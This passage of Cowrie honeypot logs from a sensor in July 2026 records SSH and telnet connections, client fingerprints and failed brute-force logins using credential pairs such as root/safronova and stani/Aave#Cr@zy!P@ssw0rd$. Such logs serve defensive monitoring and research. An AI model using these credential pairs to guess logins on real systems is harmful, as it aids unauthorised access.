16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:48.384119Z","src_ip":"62.133.62.83","session":"a1f8c6c203dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"010887","message":"login attempt [root/010887] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:48.625342Z","src_ip":"62.133.62.83","session":"a1f8c6c203dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:05:49.708187Z","src_ip":"62.133.62.83","session":"a1f8c6c203dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":50496,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc04c33bddc6","protocol":"ssh","message":"New connection: 87.251.79.125:50496 (159.203.135.109:22) [session: cc04c33bddc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:06:22.218708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:06:22.222159Z","src_ip":"87.251.79.125","session":"cc04c33bddc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:06:22.292238Z","src_ip":"87.251.79.125","session":"cc04c33bddc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"safronova","message":"login attempt [root/safronova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:06:22.501345Z","src_ip":"87.251.79.125","session":"cc04c33bddc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:06:23.573726Z","src_ip":"87.251.79.125","session":"cc04c33bddc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00790095329285,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:06:30.092644Z","src_ip":"137.184.5.188","session":"d6ed35758771","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":52416,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc77aeb7625b","protocol":"ssh","message":"New connection: 103.98.149.87:52416 (159.203.135.109:22) [session: fc77aeb7625b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:40.665059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:40.668943Z","src_ip":"103.98.149.87","session":"fc77aeb7625b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:40.893163Z","src_ip":"103.98.149.87","session":"fc77aeb7625b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:41.588450Z","src_ip":"103.98.149.87","session":"fc77aeb7625b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":48894,"dst_ip":"159.203.135.109","dst_port":23,"session":"85b50fb5906c","protocol":"telnet","message":"New connection: 107.6.151.170:48894 (159.203.135.109:23) [session: 85b50fb5906c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:42.157624Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":45746,"dst_ip":"159.203.135.109","dst_port":23,"session":"8011592ffeb2","protocol":"telnet","message":"New connection: 143.198.154.150:45746 (159.203.135.109:23) [session: 8011592ffeb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:42.845753Z"}
{"eventid":"cowrie.session.closed","duration":0.06482052803039551,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:42.910443Z","src_ip":"143.198.154.150","session":"8011592ffeb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:42.980431Z","src_ip":"103.98.149.87","session":"fc77aeb7625b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":54958,"dst_ip":"159.203.135.109","dst_port":22,"session":"386a517d141b","protocol":"ssh","message":"New connection: 194.113.233.25:54958 (159.203.135.109:22) [session: 386a517d141b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:55.713123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:55.717072Z","src_ip":"194.113.233.25","session":"386a517d141b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:55.800076Z","src_ip":"194.113.233.25","session":"386a517d141b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"241193","message":"login attempt [root/241193] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:56.073571Z","src_ip":"194.113.233.25","session":"386a517d141b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:07:57.159183Z","src_ip":"194.113.233.25","session":"386a517d141b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":52200,"dst_ip":"159.203.135.109","dst_port":22,"session":"d977d9992114","protocol":"ssh","message":"New connection: 159.65.58.200:52200 (159.203.135.109:22) [session: d977d9992114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:05.498262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:05.710064Z","src_ip":"159.65.58.200","session":"d977d9992114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:05.713042Z","src_ip":"159.65.58.200","session":"d977d9992114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":59892,"dst_ip":"159.203.135.109","dst_port":22,"session":"10cf7b36ccaf","protocol":"ssh","message":"New connection: 66.29.142.197:59892 (159.203.135.109:22) [session: 10cf7b36ccaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:06.598521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:06.602341Z","src_ip":"66.29.142.197","session":"10cf7b36ccaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:06.673393Z","src_ip":"66.29.142.197","session":"10cf7b36ccaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vauld","password":"S@f3!P#ssw0rd$88","message":"login attempt [vauld/S@f3!P#ssw0rd$88] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:06.883681Z","src_ip":"66.29.142.197","session":"10cf7b36ccaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shkirman","password":"123456","message":"login attempt [shkirman/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:07.186929Z","src_ip":"159.65.58.200","session":"d977d9992114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":48248,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc25ca3cec26","protocol":"telnet","message":"New connection: 137.184.5.188:48248 (159.203.135.109:23) [session: dc25ca3cec26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:07.824041Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:07.954722Z","src_ip":"66.29.142.197","session":"10cf7b36ccaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:08.513563Z","src_ip":"159.65.58.200","session":"d977d9992114","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":40550,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f76b5c637e","protocol":"ssh","message":"New connection: 77.94.47.83:40550 (10.17.0.5:22) [session: 68f76b5c637e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:09.810067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:09.813813Z","src_ip":"77.94.47.83","session":"68f76b5c637e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:09.925057Z","src_ip":"77.94.47.83","session":"68f76b5c637e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bronson","message":"login attempt [root/bronson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:10.262758Z","src_ip":"77.94.47.83","session":"68f76b5c637e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:11.380346Z","src_ip":"77.94.47.83","session":"68f76b5c637e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.58281111717224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:14.740300Z","src_ip":"107.6.151.170","session":"85b50fb5906c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.35.200","src_port":56062,"dst_ip":"10.17.0.5","dst_port":22,"session":"da9736abfd97","protocol":"ssh","message":"New connection: 162.240.35.200:56062 (10.17.0.5:22) [session: da9736abfd97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:34.526434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:34.530065Z","src_ip":"162.240.35.200","session":"da9736abfd97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:34.619117Z","src_ip":"162.240.35.200","session":"da9736abfd97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stani","password":"Aave#Cr@zy!P@ssw0rd$","message":"login attempt [stani/Aave#Cr@zy!P@ssw0rd$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:34.886054Z","src_ip":"162.240.35.200","session":"da9736abfd97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33700,"dst_ip":"159.203.135.109","dst_port":23,"session":"764ddb408610","protocol":"telnet","message":"New connection: 170.64.224.25:33700 (159.203.135.109:23) [session: 764ddb408610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:35.587644Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:35.977344Z","src_ip":"162.240.35.200","session":"da9736abfd97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37718,"dst_ip":"159.203.135.109","dst_port":23,"session":"21072f4ca43b","protocol":"telnet","message":"New connection: 170.64.224.25:37718 (159.203.135.109:23) [session: 21072f4ca43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:45.512851Z"}
{"eventid":"cowrie.session.closed","duration":45.1621572971344,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:52.986081Z","src_ip":"137.184.5.188","session":"dc25ca3cec26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33892,"dst_ip":"159.203.135.109","dst_port":23,"session":"895e2ae8871b","protocol":"telnet","message":"New connection: 170.64.224.25:33892 (159.203.135.109:23) [session: 895e2ae8871b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:08:53.168961Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39800,"dst_ip":"159.203.135.109","dst_port":23,"session":"40f6e0d46917","protocol":"telnet","message":"New connection: 170.64.224.25:39800 (159.203.135.109:23) [session: 40f6e0d46917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:09:10.329385Z"}
